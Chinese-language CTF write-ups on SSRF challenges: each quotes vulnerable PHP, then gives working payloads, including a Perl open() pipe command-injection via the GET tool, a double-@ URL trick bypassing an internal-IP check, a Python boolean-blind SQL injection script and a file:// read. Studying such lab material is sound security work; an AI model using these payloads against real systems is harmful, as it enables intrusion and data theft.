SSRF专题-题解(持续更新)
想系统学习一下SSRF,这个专题用来记录自己找的一些SSRF题目
BUUCTF-[HITCON 2017]SSRFme
题目直接丢了一段代码让审计
120.32.142.100 <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {//检测是否存在X_FORWARDED_FOR头
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//如果存在,将X_FORWARDED_FOR头部拆分成一个数组
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];//提取出数组的第一个IP地址
}//这一段代码的作用总的说就是判断是否存在X_FORWARDED_FOR头部,如果存在,将其中的第一个IP地址取出
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);//将上面获得的ip地址结合一个字符串orange进行md5加密
@mkdir($sandbox);//基于生成的哈希值在sandbox目录下创建一个子目录
@chdir($sandbox);//切换到该目录
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));//使用 shell_exec 执行系统命令 GET 来获取 URL 的内容,并将结果存储在 $data 变量中;
//escapeshellarg 用于对 $_GET["url"] 进行转义以避免命令注入
$info = pathinfo($_GET["filename"]);// 获取$_GET["filename"]的路径信息
$dir = str_replace(".", "", basename($info["dirname"]));// 去除目录名中的点号,创建目录并更改工作目录
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);// 将下载的数据保存到指定的文件中
highlight_file(__FILE__);// 高亮显示当前PHP文件的源代码
简单来说,这段代码获取用户输入的URL内容,然后将其存入filename对应的位置。
我们先看看根目录有哪些文件
url=/&filename=test
又一个readflag,应该是要用readflag读取flag。那如何执行呢,这里考到了GET的一个命令执行漏洞。GET使用file协议时候底层会调用perl中的open函数,而perl函数要打开的文件名中如果以管道符(键盘上那个竖杠|)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。
整理一下思路,现在我们需要打开一个文件名是执行readflag命令的文件;没有这个文件所以我们要先创建,创建后访问这个url并将结果存入test文件即可。
url=&filename=bash -c /readflag|
url=file:bash -c /readflag|&filename=test
BUUCTF-[第二章 web进阶]SSRF Training
点击查看源码
代码如下:
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>
看一看代码执行流程,首先接收一段URL
$url = $_GET['url'];
然后判断,如果URL非空,那么执行safe_request_url函数
if(!empty($url)){
safe_request_url($url);
}
然后看safe_request_url函数
function safe_request_url($url)
{
if (check_inner_ip($url)) //判断check_inner_ip()执行结果是否为true,是则报错
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init(); //初始化一个curl会话
curl_setopt($ch, CURLOPT_URL, $url);//设置要获取的url为传入的url参数
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //将传输结果返回为字符串
curl_setopt($ch, CURLOPT_HEADER, 0); //不返回头部信息
$output = curl_exec($ch); //执行curl请求
$result_info = curl_getinfo($ch); //获取请求信息
if ($result_info['redirect_url']) //判断是否需要重定向,如果需要那么用safe_request_url函数处理,也就是不断向下执行,直到获取到数据为止
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch); //关闭curl会话:
var_dump($output); //输出结果;
}
}
现在看看check_inner_ip函数,它用于检查给定的URL是否属于内部IP地址(如私有IP地址范围)
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); //首先判断传入的参数是否为url格式
if (!$match_result) //如果不是则报错
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url); //parse_url会将url分成6个部分,(scheme, host, port, path, query, fragment)
}
catch(Exception $e) //执行失败就报错
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host']; //获取主机名
$ip=gethostbyname($hostname); //将主机名解析为ip地址
$int_ip=ip2long($ip); // 将IP地址转换为整数
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; // 检查IP地址是否属于内网IP范围,如果属于就返回true
}
所以我们的目的就是,通过curl读取flag.php里面的数据,也就是说,在不考虑任何过滤的理想情况下,我们的payload应该是这样的
curl http://127.0.0.1/flag.php
所以现在的目的是绕过私有ip的检测,而通过代码审计我们可以发现,私有ip检测的对象其实是利用parse_url()函数处理后的host参数,parse_url()处理后的具体参数如下
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
而这样的拆分方法主要是适用于以下完整的url:
http://username:password@hostname/path?arg1=value1&arg2=value2#anchor
而curl,按照其解析方式只会考虑第一个 @ 符号作为分隔用户信息和主机部分的分隔符。那么这里我们就需要两个@符号了。一个@用于curl解析,另一个@用于提供给私有ip检测,所以可以构造如下payload:
http://a:@127.0.0.1:80@www.baidu.com/flag.php
成功获取flag
2021-第四届红帽杯网络安全大赛-Web-WebsiteManger(ctfhub)
访问网页源码,发现可疑的注入点
测试发现没有过滤if
?id=if(1=1,3,5)//1=1返回3
?id=if(1=2,3,5)//1!=2返回5
编写一个简单的布尔盲注脚本
import requests
# 目标URL和初始payload
url = 'http://challenge-693ece1a4005fc3d.sandbox.ctfhub.com:10800/image.php'
payload_template = "?id={}"
# 字符集合,根据需要调整
charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# 初始化提取出来的数据
extracted_data = ''
# 循环提取每个位置的字符
for position in range(1, 50): # 假设最多50个字符
found = False
for char in charset:
# 构造当前测试的payload
payload = payload_template.format(
f"if(ascii(mid(database(),{position},1))=ord('{char}'),3,5)"
)
# 发送请求
response = requests.get(url + payload)
# print(payload)
# 根据应用的不同响应来判断条件是否成立
if len(response.text)>400:
extracted_data += char
found = True
break
if not found:
break
print("Extracted data:", extracted_data)
得到数据库名ctf
if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\'ctf\'),{position},1))=ord('{char}'),3,5)#表名
最后跑出管理员信息如下:admin、714e60f36551d03b5bcb3c1ef5e3aa74
接下来是ssrf,测试127.0.0.1
使用curl进行读取,那么使用file协议读取内容即可
payload=file:///flag